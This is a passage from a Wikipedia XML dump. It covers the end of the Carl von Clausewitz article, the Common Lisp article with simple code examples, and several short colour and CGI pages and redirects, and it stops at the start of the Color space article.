&lt;blockquote&gt;One of the main sources of confusion about Clausewitz's approach lies in his dialectical method of presentation. For example, Clausewitz's famous line that &quot;War is merely a continuation of politics,&quot; while accurate as far as it goes, was not intended as a statement of fact. It is the antithesis in a dialectical argument whose thesis is the point—made earlier in the analysis—that &quot;war is nothing but a duel [or wrestling match, a better translation of the German Zweikampf] on a larger scale.&quot; His synthesis, which resolves the deficiencies of these two bold statements, says that war is neither &quot;nothing but&quot; an act of brute force nor &quot;merely&quot; a rational act of politics or policy. This synthesis lies in his &quot;fascinating trinity&quot; [wunderliche Dreifaltigkeit]: a dynamic, inherently unstable interaction of the forces of violent emotion, chance, and rational calculation.[http://www.clausewitz.com/CWZHOME/CWZSUMM/CWORKHOL.htm]&lt;/blockquote&gt;

Among these confusions has been that Clausewitz was the origin of the concept of [[total war]] as used in 1940s' Third Reich Propaganda. Clausewitz, however, did not coin the phrase as an [[Gerard Walsh]] ideologic ideal, but as an inevitable part of the equations underlying his theories: War, as any struggle or competition, cannot be waged in a limited way, as the rules of competition will force the opponents to go to their utmost possibilities and devote all means they have to victory. 

Similarly, his statement &quot;War is merely the continuation of policy by other means,&quot; is perhaps his most oft-quoted and even more often missed point. It has been intepreted by some as the idea that [[war]] is only the &quot;strong arm&quot; of [[diplomacy]], utilized when more peaceful means of persuasion are not sufficient; and by others, that military should only serve the politic and not end in itself.  That Clausewitz did not in fact consider war to be merely a continuation of politics is revealed by his statement that societies often engaged in war contrary to their own ideals, for the sake of self-interest.

==Influence==
Despite his death before completing ''On War'', Clausewitz' ideas have been widely influential in [[military theory]]. Later Prussian and German generals such as [[Helmuth von Moltke the Elder|Helmuth Graf von Moltke]] were clearly influenced by Clausewitz as they developed the concepts of [[total war]]. The idea that actual war includes &quot;friction&quot; which deranges, to a greater or lesser degree, all prior arrangements, has become common currency in other fields as well (e.g. business strategy).

Some claim that [[nuclear proliferation]] has started the decline of the prevalence of Clausewitzian ideas after dominating the world throughout the [[20th century]].{{ref|nuclear}}  When nuclear weapons were developed, state-based conventional armies simultaneously perfected their purpose (to destroy a mirror image of themselves) and made themselves obsolete.  No two [[nuclear power]]s have ever fought, nor are they likely to.  If they did, there would be no survivor.  Thus, the beginning of the 21st century found many instances of state armies trying in vain to suppress [[terrorism]], bloody feuds, raids and other intra/supra-state conflict.

The phrase ''fog of war'' was first used by Clausewitz in reference to how chaotic warfare can seem while one is immersed within it. {{ref|fog_of_war}}. The term [[Center of gravity (military)|Center of gravity]], still used by today's military planners, was also first used by Clausewitz, and represents the source from which an opponent derives its strength.

== Name ==
Clausewitz's Christian name is sometimes given in non-German sources as ''Carl Philipp Gottlieb'', ''Carl Maria'', or misspelled ''Karl'' due to reliance on mistaken source material, conflations with his wife's name, Marie, or mistaken assumptions about German orthography.  ''Carl Philipp Gottfried'' appears on Clausewitz's tombstone and is thus most likely to be the correct version.  The tombstone reads:

:Hier ruht in Gott
:Carl Philipp Gottfried von Clausewitz
:koenigl. General-Major u. Inspecteur der Artillerie
:geboren 1 Juni 1780
:gestorben 16&amp;nbsp;Nov 1831

Which translates as:

:Here rests with God
:Carl Philipp Gottfried von Clausewitz
:In the royal service, Major General and Inspector of Artillery
:Born [[1 June]] [[1780]]
:Died [[16 November]] [[1831]]

==Notes==

#{{Note|nuclear}} {{cite journal | author = Sheppard, John E. Jr | title = On War: Is Clausewitz Still Relevant? | journal = Parameters | volume = 20 | issue = 3 | date = September 1990 | pages = pp.85–99 }}
#{{Note|fog_of_war}} {{cite book | last = Berkun | first = Scott | title = The Art of Project Management | id = ISBN 0596007868 }}
#{{Note|name}} Bassford, Christopher, [http://www.clausewitz.com/CWZHOME/FAQs.html#Name ''FAQs''] at ''The Clausewitz Homepage''
#{{Note|Tombstone}} Bassford, Christopher, [http://www.clausewitz.com/CWZHOME/TombSite.html ''Clausewitz's Tomb''] at ''The Clausewitz Homepage''

==Bibliography==
* [[Wikisource:On War]] [[1874]]

==Further reading==
{{wikiquote}}
*{{cite book | author=Clausewitz, Karl Von | others = edited and translated by Michael Howard and Peter Paret. | title=On War | location = Princeton | publisher = Princeton University Press | year=1976 | id=ISBN 0691056579 }}
* Clausewitz, Carl von. Col. J. J. Graham, translator. ''Vom Kriege''. ''[http://www.gutenberg.net/etext/1946 On War &amp;mdash; Volume 1]'', [[Project Gutenberg]] eBook.

==See also==
* [[Famous military writers]]
* [[Total war]]
* [[Philosophy of war]]

==External links==
* [http://www.clausewitz.com/CWZHOME/CWZBASE.htm Clausewitz homepage], large amounts of information.
* {{gutenberg author| id=Carl+von+Clausewitz | name=Carl von Clausewitz}}

[[Category:1780 births|Clausewitz, Carl von]]
[[Category:1831 deaths|Clausewitz, Carl von]]

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[[Category:German generals|Clausewitz, Carl von]]

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  <page>
    <title>Common lisp</title>
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      <id>15904232</id>
      <timestamp>2003-01-24T16:57:30Z</timestamp>
      <contributor>
        <username>Eloquence</username>
        <id>52</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Common Lisp]]</text>
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  </page>
  <page>
    <title>Common Lisp</title>
    <id>6068</id>
    <revision>
      <id>41756405</id>
      <timestamp>2006-03-01T14:52:11Z</timestamp>
      <contributor>
        <ip>193.185.55.253</ip>
      </contributor>
      <comment>Changed Xanalys to LispWorks</comment>
      <text xml:space="preserve">'''Common Lisp''', commonly abbreviated '''CL''', is a dialect of the [[Lisp programming language]], standardised by ANSI X3.226-1994. Developed to standardize the divergent variants of Lisp which predated it, it is not an implementation but rather a language specification to which most Lisp implementations conform.

Common Lisp is a general-purpose programming language, in contrast to Lisp variants such as [[Emacs Lisp|Emacs Lisp]] and [[AutoLISP]] which are embedded extension languages in particular products. Unlike many earlier Lisps, Common Lisp (like [[Scheme programming language|Scheme]]) uses lexical variable [[scope (programming)|scope]].

Common Lisp is a multi-paradigm [[programming language]] that:

* Supports programming techniques such as [[procedural programming|imperative]], [[functional programming|functional]] and [[object-oriented]] programming.
* Is dynamically typed, but with optional type declarations that can improve efficiency.
* Is extensible through standard features such as Lisp macros (compile-time code rearrangement accomplished by the program itself) and reader macros (extension of syntax to give special meaning to characters reserved for users for this purpose).

==Syntax==
Common Lisp is a Lisp; it uses [[S-expression]]s to denote both code and data structure. Function and macro calls are written as lists, with the name of the function first, as in these examples:

 (+ 2 2)           ; adds 2 and 2, yielding 4

 (setf p 3.1415)  ; sets the variable &quot;p&quot; equal to 3.1415
&lt;!-- &quot;pi&quot; is a built-in constant; can't setf it--&gt;

 ; Define a function that squares a number:
 (defun square (x) (* x x))

 ; Execute the function:
 (square 3)        ; Returns &quot;9&quot;

&lt;!--                  I truncated this a bit; in smaller browsers, it runs off the side--&gt;
 ; construction - variables existing only in 'let' block, so you can easily give any new
 ; values to any existing variables without changing them. Old values are restored after
 ; the end of the block.
 (let ((a 6) (b 4)) (+ a b)) ; returns 10

==Data types==
Common Lisp has a plethora of data types, more than many languages.

===Scalar types===
''Number'' types include [[integer]]s, [[ratio]]s, [[floating-point number]]s, and [[complex number]]s. Common Lisp uses [[bignum]]s to represent numerical values of arbitrary size and precision. The ratio type represents fractions exactly, a facility not available in many languages. Common Lisp automatically coerces numeric values among these types as appropriate.

The Common Lisp ''[[character (computing)|character]]'' type is not limited to [[ASCII]] characters -- unsurprising, as Lisp predates ASCII. Some modern implementations allow [[Unicode]] characters. [http://www.cliki.net/Unicode%20Support]

The ''[[symbol]]'' type is common to Lisp languages, but largely unknown outside them. A symbol is a unique, named data object. Symbols in Lisp are similar to identifiers in other languages, in that they are used as variables to hold values; however, they are more general and can be used for themselves as well. Normally, when a symbol is evaluated, its value as a variable is returned. Exceptions exist: ''keyword'' symbols such as &lt;TT&gt;:foo&lt;/TT&gt; evaluate to themselves, and ''Boolean'' values in Common Lisp are represented by the reserved symbols &lt;TT&gt;T&lt;/TT&gt; and &lt;TT&gt;NIL&lt;/TT&gt;.

===Data structures===
''Sequence'' types in Common Lisp include lists, vectors, bit-vectors, and strings. There are many operations which can work on any sequence type.

As in any other Lisp, ''lists'' in Common Lisp are composed of ''conses'', sometimes called ''cons cells'' or ''pairs''. A cons is a data structure with two slots, called its ''car'' and ''cdr''. A list is a linked chain of conses. Each cons's car refers to a member of the list (possibly another list). Each cons's cdr refers to the next cons -- except for the last cons, whose cdr refers to the &lt;TT&gt;nil&lt;/TT&gt; value. Conses can also easily be used to implement trees and other complex data structures; though it is usually advised to use structure
or class instances instead.

Common Lisp supports multidimensional ''arrays'', and can dynamically resize arrays if required. Multidimensional arrays can be used for matrix mathematics. A ''vector'' is a one-dimensional array. Arrays can carry any type as members (even mixed types in the same array) or can be specialized to contain a specific type of members, as in a vector of integers. Many implementations can optimize array functions when the array used is type-specialized. Two type-specialized array types are standard: a ''string'' is a vector of characters, while a ''bit-vector'' is a vector of [[bit]]s.

''[[Hash table]]s'' store associations between data objects. Any object may be used as key or value. Hash tables, like arrays, are automatically resized as needed.

''Packages'' are collections of symbols, used chiefly to separate the parts of a program into [[namespace]]s. A package may ''export'' some symbols, marking them as part of a public interface.

''Structures'', similar in use to [[C programming language|C]] structs and [[Pascal programming language|Pascal]] records, represent arbitrary complex data structures with any number and type of fields (called ''slots'').

Class ''instances'', similar to structures, but created by the object system, [[CLOS]].

===Functions===
In Common Lisp, the type of ''functions'' is a data type.  For instance, it is possible to write functions that take other functions as arguments or return functions as well.  This makes it possible to describe very general operations. 

The Common Lisp library relies heavily on such higher-order functions. For example, the &lt;CODE&gt;sort&lt;/CODE&gt; function takes a [[comparison operator]] as an argument. This can be used not only to sort any type of data, but also to sort data structures according to a key.

 (sort (list 5 2 6 3 1 4) #'&gt;)
 ; Sorts the list using the &gt; function as the comparison operator.
 ; Returns (6 5 4 3 2 1).

 (sort (list '(9 a) '(3 b) '(4 c))
     #'(lambda (x y) (&lt; (car x) (car y))))
 ; Sorts the list according to the first element (car) of each sub-list.
 ; Returns ((3 b) (4 c) (9 a)).

The evaluation model for functions is very simple.  When the evaluator encounters a form &lt;code&gt;(F A1 A2...)&lt;/code&gt; then it is to assume that the symbol named F is one of the following:

# A special operator (easily checked against a fixed list)
# A macro operator (must have been defined previously)
# The name of a function (default), which may either be a symbol, or a sub-form beginning with the symbol &lt;code&gt;lambda&lt;/code&gt;.

If F is the name of a function, then the arguments A1, A2, ..., An are evaluated in left-to-right order, and the function is found and invoked with those values supplied as parameters.  

====Defining functions====

The macro &lt;CODE&gt;defun&lt;/CODE&gt; defines functions. 
A function definition gives the name of the function, the names of any arguments, and a function body:

 (defun square (x)
    (* x x))

Function definitions may include ''declarations'', which provide hints to the compiler about optimization settings or the data types of arguments. They may also include ''documentation strings'' (docstrings), which the Lisp system may use to provide interactive documentation:

 (defun square (x)
    &lt;EM&gt;(declare (number x) (optimize (speed 3) (debug 0) (safety 1)))
    &quot;Calculates the square of the number x.&quot;&lt;/EM&gt;
    (* x x))

Anonymous functions are defined using the &lt;CODE&gt;lambda&lt;/CODE&gt; special operator. Lisp programming style frequently uses higher-order functions for which it is useful to provide anonymous functions as arguments.

There are a number of other operators related to the definition and manipulation of functions. For instance, a function may be recompiled with the &lt;CODE&gt;compile&lt;/CODE&gt; operator. (Some Lisp systems run functions in an interpreter by default unless instructed to compile; others compile every entered function on the fly.)

====The function namespace====

The namespace for function names is separate from the namespace for data variables. This is a key difference between Common Lisp and [[Scheme programming language|Scheme]]. Operators which define names in the function namespace include &lt;code&gt;defun&lt;/code&gt;, &lt;code&gt;flet&lt;/code&gt;, and &lt;code&gt;labels&lt;/code&gt;.

To pass a function by name as an argument to another function, one must use the &lt;code&gt;function&lt;/code&gt; special operator, commonly abbreviated as #'. The first &lt;code&gt;sort&lt;/code&gt; example above refers to the function named by the symbol &lt;code&gt;&amp;gt;&lt;/code&gt; in the function namespace, with the code &lt;code&gt;#'&amp;gt;&lt;/code&gt;.

[[Scheme programming language|Scheme]]'s evaluation model is simpler: there is only one namespace, and all positions in the form are evaluated (in any order) -- not just the arguments. Code written in one dialect is therefore sometimes confusing to programmers more experienced in the other. For instance, many CL programmers like to use descriptive variable names such as ''list'' or ''string'' which could cause problems in Scheme as they would locally shadow function names.

Whether a separate namespace for functions is an advantage is a source of contention in the Lisp community. It is usually referred to as the ''Lisp-1 vs. Lisp-2 debate''. These names were coined in a 1988 paper by [[Richard P. Gabriel]] and [[Kent Pitman]], which extensively compares the two approaches. [http://www.nhplace.com/kent/Papers/Technical-Issues.html]

===Other types===
Other data types in Common Lisp include:

*''Pathnames'' represent files and directories in the [[filesystem]]. The Common Lisp pathname facility is more general than most operating systems' file naming conventions, making Lisp programs' access to files broadly portable across diverse systems.
*Input and output ''streams'' represent sources and sinks of binary or textual data, such as the terminal or open files.
*Common Lisp has a built-in [[pseudo-random number generator]]. ''Random state'' objects represent reusable sources of pseudo-random numbers, allowing the user to seed the PRNG or cause it to replay a sequence.
*''Conditions'' are a type used to represent errors, exceptions, and other &quot;interesting&quot; events to which a program may respond.
*''Classes'' are first-class objects, and are themselves instances of classes called metaclasses.

Common Lisp also includes a toolkit for [[object-oriented programming]], the Common Lisp Object System or [[CLOS]], which is one of the most powerful object systems available in any language.

===Macros===
A ''[[macro]]'' in Lisp superficially resembles a function in usage. However, rather than representing an expression which is evaluated, it represents a transformation of the program source code.

Macros allow Lisp programmers to create new syntactic forms in the language. For instance, this macro provides the &lt;CODE&gt;until&lt;/CODE&gt; loop form, which may be familiar from languages such as [[Perl]]:

&lt;pre&gt;
 (defmacro until (test &amp;body body)
   `(do ()
        (,test)
      ,@body))

 ;; example
 (until (= (random 10) 0) 
   (write-line &quot;Hello&quot;))
&lt;/pre&gt;

All macros must be expanded before the source code containing them can be evaluated or compiled normally.  Macros can be considered functions that
accept and return abstract syntax trees (Lisp S-expressions).  These functions 
are invoked before the evaluator or compiler to produce the final source code.
Macros are written in normal Common Lisp, and may use any Common Lisp (or third-party) operator available.  The backquote notation used above is provided
by Common Lisp specifically to simplify the common case of substitution into
a code template.

====Variable capture and shadowing====
Common Lisp macros are capable of ''variable capture'', a situation in which symbols in the macro-expansion body coincide with those in the calling context. Variable capture is sometimes a desired effect: it allows the programmer to create macros wherein various symbols have special meaning. However, it can also introduce unexpected and unusual errors.

Some Lisp systems, such as Scheme, avoid variable capture by using macro syntax &amp;mdash; so-called &quot;hygienic macros&quot; &amp;mdash; that does not allow it. In Common Lisp, one can usually avoid unwanted capture by using [[gensym]]s: guaranteed-unique symbols which can be used in a macro-expansion without threat of capture.

Another issue is the inadvertant ''shadowing of operators'' used in a macroexpansion. For example, consider the following (incorrect) code:

 (macrolet ((do (...) ... something else ...))
    (until (= (random 10) 0) (write-line &quot;Hello&quot;)))

The &lt;code&gt;UNTIL&lt;/code&gt; macro will expand into a form which calls &lt;code&gt;DO&lt;/code&gt; which is intended to refer to the built-in macro &lt;code&gt;DO&lt;/code&gt;. However, in this context, &lt;code&gt;DO&lt;/code&gt; may have a completely different meaning.

Common Lisp ameliorates the problem of operator shadowing by forbidding the redefinition of built-in operators, such as &lt;code&gt;DO&lt;/code&gt; in this example. Moreover, users may separate their own code into ''packages''. Built-in symbols are found in the &lt;code&gt;COMMON-LISP&lt;/code&gt; package, which will not be shadowed by a symbol in a user package.

==Comparison with other Lisps==
&lt;!-- needs lots --&gt;
Common Lisp is most frequently compared with, and contrasted to, [[Scheme programming language|Scheme]]&amp;mdash;if only because they are the two most popular Lisp dialects. Scheme antedates CL, and comes not only from the same Lisp tradition but from some of the same engineers—[[Guy L. Steele, Jr.|Guy L. Steele]], who with [[Gerald Jay Sussman]] designed Scheme, chaired the standards committee for Common Lisp.

Most of the Lisp systems whose designs contributed to Common Lisp—such as Zetalisp and Franz Lisp—used dynamically [[scope (programming)|scope]]d variables in their interpreters and lexically [[scope (programming)|scope]]d variables in their compilers. Scheme introduced the sole use of lexically-scoped variables to Lisp; an inspiration from [[ALGOL 68]] which was widely recognized as a good idea. CL supports dynamically-scoped variables as well, but they must be explicitly declared as &quot;special&quot;. There are no differences in scoping between ANSI CL interpreters and compilers.

Common Lisp is sometimes termed a ''Lisp-2'' and Scheme a ''Lisp-1'', referring to CL's use of separate namespaces for functions and variables. (In fact, CL has ''many'' namespaces, such as those for go tags, block names, and &lt;CODE&gt;loop&lt;/CODE&gt; keywords.) There is a long-standing controversy between CL and Scheme advocates over the tradeoffs involved in multiple namespaces. In Scheme, it is (broadly) necessary to avoid giving variables names which clash with functions; Scheme functions frequently have arguments named &lt;CODE&gt;lis&lt;/CODE&gt;, &lt;CODE&gt;lst&lt;/CODE&gt;, or &lt;CODE&gt;lyst&lt;/CODE&gt; so as not to conflict with the system function &lt;CODE&gt;list&lt;/CODE&gt;. However, in CL it is necessary to explicitly refer to the function namespace when passing a function as an argument -- which is also a common occurrence, as in the &lt;CODE&gt;sort&lt;/CODE&gt; example above.

CL also differs from Scheme in its handling of boolean values. Scheme uses the special values #t and #f to represent truth and falsity. CL follows the older Lisp convention of using the symbols T and NIL, with NIL standing also for the empty list. In CL, ''any'' non-NIL value is treated as true by conditionals such as &lt;CODE&gt;if&lt;/CODE&gt;. This allows some operators to serve both as predicates (answering a boolean-valued question) and as returning a useful value for further computation.

Lastly, the Scheme standards documents require [[tail recursion|tail-call optimization]], which the CL standard does not. Most CL implementations do offer tail-call optimization, although often only when the programmer uses an optimization directive. Nonetheless, common CL coding style does not favor the ubiquitous use of recursion that Scheme style prefers -- what a Scheme programmer would express with tail recursion, a CL user would usually express with an iterative expression in &lt;CODE&gt;do&lt;/CODE&gt;, &lt;CODE&gt;dolist&lt;/CODE&gt;, &lt;CODE&gt;loop&lt;/CODE&gt;, or (more recently) with the &lt;CODE&gt;iterate&lt;/CODE&gt; package.

==Implementations==
Common Lisp is defined by a specification (like [[Ada programming language|Ada]] and [[C programming language|C]]) rather than by a single implementation (like [[Perl programming language|Perl]]). There are many implementations, and the standard spells out areas in which they may validly differ.

In addition, implementations tend to come with library packages, which provide functionality not covered in the standard. [[Free Software]] libraries have been created to support such features in a portable way, most notably [http://common-lisp.net/ Common-Lisp.net] and the [http://clocc.sourceforge.net/ Common Lisp Open Code Collection] project.

Common Lisp has been designed to be implemented by incremental compilers. Standard declarations to optimize compilation (such as function inlining) are proposed in the language specification. Most Common Lisp implementations compile functions to native [[machine code]]. Others compile to [[bytecode]], which reduces speed but eases binary-code portability. The misconception that Lisp is a purely-interpreted language is most likely due to the fact that Common Lisp environments provide an interactive prompt and that functions are compiled one-by-one, in an incremental way.

Some [[Unix]]-based implementations, such as CLISP, can be used as script interpreters; that is, invoked by the system transparently in the way that a [[Perl]] or [[Unix shell]] interpreter is.

===List of implementations===

Freely redistributable implementations include:

* [[CMUCL]], originally from [[Carnegie Mellon University]], now maintained as [[Free Software]] by a group of volunteers. CMUCL uses a fast native-code compiler. It is available on [[Linux]] and [[Berkeley Software Distribution|BSD]] for Intel x86; Linux for Alpha; and Solaris, IRIX, and HP-UX on their native platforms.
* [[CLISP]], a bytecode-compiling implementation. It is portable and runs on a number of Unix and Unix-like systems (including [[Mac OS X]]), as well as Microsoft Windows and several other systems.
* [[Steel Bank Common Lisp]] (SBCL), a branch from CMUCL. &quot;Broadly speaking, SBCL is distinguished from CMU CL by a greater emphasis on maintainability.&quot; [http://sbcl.sourceforge.net/cmucl-relationship.php] SBCL runs on the platforms CMUCL does, except HP/UX; in addition, it runs on Linux for PowerPC, SPARC, and MIPS, and on [[Mac OS X]]. SBCL does not use an interpreter; all expressions are compiled to native code. Recently, support for windows platform has been integrated into [[CVS]] tree.
* [[GNU Common Lisp]] (GCL), the [[GNU]] Project's Lisp compiler. Not yet fully ANSI-compliant, GCL is however the implementation of choice for several large projects including the mathematical tools [[Maxima]], AXIOM and ACL2. GCL runs under GNU/Linux on eleven different architectures, and also under Windows, Solaris, and [[FreeBSD]].
* [[Embeddable Common Lisp]] (ECL), designed to be embedded in [[C programming language|C]] applications.
* [[OpenMCL]] [http://openmcl.clozure.com/], an [[open source]] branch of Macintosh Common Lisp. As the name implies, OpenMCL is native to the Macintosh; it runs on [[Mac OS X]], Darwin, and Linux for PowerPC.
* [[Movitz]] implements a Lisp environment for [[x86]] computers without relying on any underlying OS.
* [[Armed Bear Common Lisp]] [http://armedbear.org/abcl.html] is a Common Lisp implementation that runs on the [[Java Virtual Machine]]. It includes a compiler to [[Java programming language|Java]] [[byte code]]s, and allows access to Java libraries from Common Lisp.  Armed Bear Common Lisp is a component of the [http://armedbear.org/j.html Armed Bear J Editor], though it can be used independently.
* [[Jatha]] [http://jatha.sourceforge.net/] is a Java library that implements a fairly large subset of Common Lisp.

Commercial implementations are available from [http://www.franz.com Franz, Inc.], [http://www.lispworks.com/ LispWorks Ltd.], [http://www.digitool.com/ Digitool, Inc.], [http://www.cormanlisp.com/ Corman Technologies] and [http://www.scieneer.com/index.html Scieneer Pty Ltd.].

==Applications==

Common Lisp is used in many successful commercial applications, the most famous (no doubt due to [[Paul Graham]]'s promotion) being the [[Yahoo!]] Store web-commerce site. Other notable examples include:

*[[Orbitz]], a major travel booking site.
*[http://www.izware.com/mirai/index.htm Mirai], [http://www.izware.com/ Izware LLC]'s fully integrated 2d/3d computer graphics content creation suite that features what is almost universally regarded as the best polygonal modeler in the industry, an advanced IK/FK and non-linear animation system (later popularized by such products as Sega's [[Animanium]] and Softimage XSI, respectively), and advanced 2d and 3d painting. It is used in major motion pictures (most famously in New Line Cinema's [[Lord of the Rings]]), video games and military simulations.
*[http://www.piano.aero/ Piano], a package for commercial aircraft preliminary design and competitor evaluation.
*[http://www.xanalys.com/ Xanalys Corp.]'s line of investigation software, used by police, security and fraud prevention services worldwide.
*[http://www.ktiworld.com/ Knowledge Technologies International]'s [[ICAD]] mechanical design software.
*[http://www.genworks.com/ Genworks International]'s General-purpose Declarative Language (GDL), a development tool for creating web-based engineering, design, and business applications.
* [http://www.noteheads.com/ Igor Engraver]: a 1st-Class Music notation and engraving program written in Common Lisp.

There also exist successful open-source applications written in Common Lisp, such as:

* [[ACL2]], a full-featured [[theorem prover]] for an [[applicative]] variant of Common Lisp.
* [http://maxima.sourceforge.net/ Maxima], a sophisticated [[computer algebra system]].
* [http://compo.sourceforge.net Compo], a language allowing complex musical structures to be described in a natural way.
* [http://lisa.sourceforge.net Lisa], a production-rule system to build &quot;intelligent&quot; software agents.

As well, Common Lisp is used by many government and non-profit institutions. Examples of its use in [[NASA]] include:

*[http://www.stsci.edu/resources/software_hardware/spike/ SPIKE], the [[Hubble Space Telescope]] planning and scheduling system.
*[http://ic.arc.nasa.gov/projects/remote-agent/ Remote Agent], winner of the 1999 NASA Software of the Year Award.

==External links==

* The [http://www.lisp.org/HyperSpec/FrontMatter/index.html Common Lisp HyperSpec], a hypertext version of the Common Lisp standard.
* The [http://ww.telent.net/cliki/index CLiki], a Wiki for [[Free Software]] Common Lisp systems running on Unix-like systems.
* [http://www.lisp.org/ The Association of Lisp Users].
* [http://www.geocities.com/fhzeya20042000/lisp.htm  Lisp tutorial by Faiz ul haque Zeya]
* [http://www.unmutual.info/startingwithcl.html A quick guide to starting with Common Lisp].
* [http://www.cs.cmu.edu/Web/Groups/AI/html/cltl/cltl2.html Common Lisp the Language, 2nd Edition], known as &quot;CLtL2&quot;. Guy Steele's book on Common Lisp, which served as the basis for the ANSI Common Lisp standard.  A [http://cltl2.lisp.se/cltl/cltl2.html mirror site] may also be handy since the standard site has had offline content for a considerable time.
* [http://cl-cookbook.sourceforge.net/ The Common Lisp Cookbook], a collection of useful programming methods.
* [http://www.paulgraham.com/lisp.html Paul Graham's page] about Lisp. If you follow the links you can find his book ''On Lisp'' online, which is concerned with macro design in Common Lisp.
* [http://www-2.cs.cmu.edu/afs/cs.cmu.edu/user/dst/www/LispBook/index.html Common Lisp: A Gentle Introduction to Symbolic Computation] by [[David S. Touretzky]], available online and aimed at beginners.
* [http://www.norvig.com/ Peter Norvig's page] containing many interesting resources about Common Lisp.
* [http://www.gigamonkeys.com/book/ Practical Common Lisp] Online version of book of same name.
* [http://www.lisperati.com/casting.html Casting SPELs in Lisp] A cartoon introduction to Common Lisp.

{{Major programming languages small}}

[[Category:LISP dialects]]
[[Category:Functional languages]]
[[Category:Object-oriented programming languages]]

[[de:Common Lisp]]
[[fr:Common Lisp]]
[[ko:커먼 리스프]]
[[ja:Common Lisp]]
[[pt:Common Lisp]]
[[zh:Common Lisp]]</text>
    </revision>
  </page>
  <page>
    <title>Color code</title>
    <id>6069</id>
    <revision>
      <id>41492688</id>
      <timestamp>2006-02-27T19:02:54Z</timestamp>
      <contributor>
        <ip>82.15.28.195</ip>
      </contributor>
      <comment>I'm not certain why we need to state that here, and I can't see the relevance of the link to this list</comment>
      <text xml:space="preserve">A '''color code''' is a system for displaying information by using different [[color]]s.  Color codes are often difficult or impossible for [[color blindness|color blind]] people to understand.

[[Image:25 pair color code chart.png|right|thumb|100px|25 Pair Color Code Chart]]

Examples of color codes:
*[[Bottled gas]]es
*[[Electrical wiring]]
*[[Electronic color code]]
*[[Web colors]] for HTML color codes
*[[25-pair color code]]
*[[Fire extinguisher]]s
*[[Hanky code]]
*[[Jumper cables]]
*[[Navigation light]]s, [[sea mark]]s and [[characteristic light]]s
*[[Ribbon]] colors ''see:'' [[:Category:Ribbon symbolism]]
*[[United States Department of Homeland Security|U.S. Department of Homeland Security]]'s [[Department of Homeland Security Advisory System|Advisory System]]
*[[Utility color code]]s

{{Commons|Colour code}}

[[Category:Colors]]
[[Category:Encodings]]
[[pt:Código de cores]]</text>
    </revision>
  </page>
  <page>
    <title>Color/Orange</title>
    <id>6070</id>
    <revision>
      <id>15904235</id>
      <timestamp>2002-08-13T13:55:41Z</timestamp>
      <contributor>
        <username>Jeronimo</username>
        <id>108</id>
      </contributor>
      <minor />
      <comment>fix redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Orange (colour)]]</text>
    </revision>
  </page>
  <page>
    <title>Color/black</title>
    <id>6071</id>
    <revision>
      <id>15904236</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Black]]

:''See also :'' [[Color]]</text>
    </revision>
  </page>
  <page>
    <title>Color/orange</title>
    <id>6074</id>
    <revision>
      <id>15904237</id>
      <timestamp>2002-08-13T13:56:36Z</timestamp>
      <contributor>
        <username>Jeronimo</username>
        <id>108</id>
      </contributor>
      <minor />
      <comment>fix redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Orange (colour)]]</text>
    </revision>
  </page>
  <page>
    <title>Color/cyan</title>
    <id>6076</id>
    <revision>
      <id>15904239</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Cyan]]

:''See also :'' [[Color]]</text>
    </revision>
  </page>
  <page>
    <title>Color/Black</title>
    <id>6077</id>
    <revision>
      <id>15904240</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Black]]

:''See also :'' [[Color]]</text>
    </revision>
  </page>
  <page>
    <title>Color/white</title>
    <id>6078</id>
    <revision>
      <id>15904241</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[White]]

:''See also :'' [[Color]]</text>
    </revision>
  </page>
  <page>
    <title>CGI</title>
    <id>6080</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>40898657</id>
      <timestamp>2006-02-23T19:27:21Z</timestamp>
      <contributor>
        <username>Westfall</username>
        <id>965234</id>
      </contributor>
      <comment>+clinical global impression scale</comment>
      <text xml:space="preserve">'''CGI''' may mean:
* [[CGI Group Inc.]], the Canadian information management company (formerly ''Conseillers en Gestion et Informatique C.G.I. Inc.'').
* [[Common Gateway Interface]], a technology used in web servers.
** [[CGI.pm]], a Perl module used for dealing with it.
* [[Computer-generated imagery]], a movie making technology.
* [[Computer graphics interface]], a low-level interface between the [[Graphical Kernel System]] and the hardware. 
* [[Clinical Global Impression]], a scale to assess treatment response associated with mental disorders.
* [[Corrugated galvanised iron]], moulded sheet metal.
* [[Consultative Group on Indonesia]]
* [[Cape Girardeau Regional Airport]] (IATA airport code: CGI) in Cape Girardeau, Missouri, United States.
* [[Cuerpo Guardia de Infantería]], an [[Argentina|Argentine]] [[police]] [[riot control|riot control service]].

{{TLAdisambig}}

[[de:CGI]]
[[hu:CGI]]
[[nl:CGI]]
[[ja:CGI]]
[[sv:CGI]]
[[th:CGI]]
[[zh:CGI]]</text>
    </revision>
  </page>
  <page>
    <title>Color space</title>
    <id>6081</id>
    <revision>
      <id>40442515</id>
      <timestamp>2006-02-20T16:07:29Z</timestamp>
      <contributor>
        <username>Aditsu</username>
        <id>697319</id>
      </contributor>
      <comment>/* Notes */ disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">A '''[[color model]]''' is an abstract mathematical model describing the way [[color]]s can be represented as [[tuple]]s of numbers, typically as three or four values or ''color components'' (e.g. [[RGB color model|RGB]] and [[CMYK color model|CMYK]] are color models). However, a color model with no associated mapping function to an [[absolute color space]] is a more or less arbitrary color system with little connection to the requirements of any given application.

Adding a certain mapping function between the color model and a certain reference color space results in a definite &quot;footprint&quot; within the reference color space. This &quot;footprint&quot; is known as a [[gamut]],  and, in combination with the color model, defines a new '''color space'''. For example, [[Adobe RGB color space|Adobe RGB]] and [[sRGB color space|sRGB]] are two different [[absolute color space]]s, both based on the RGB model.

==Understanding the concept==
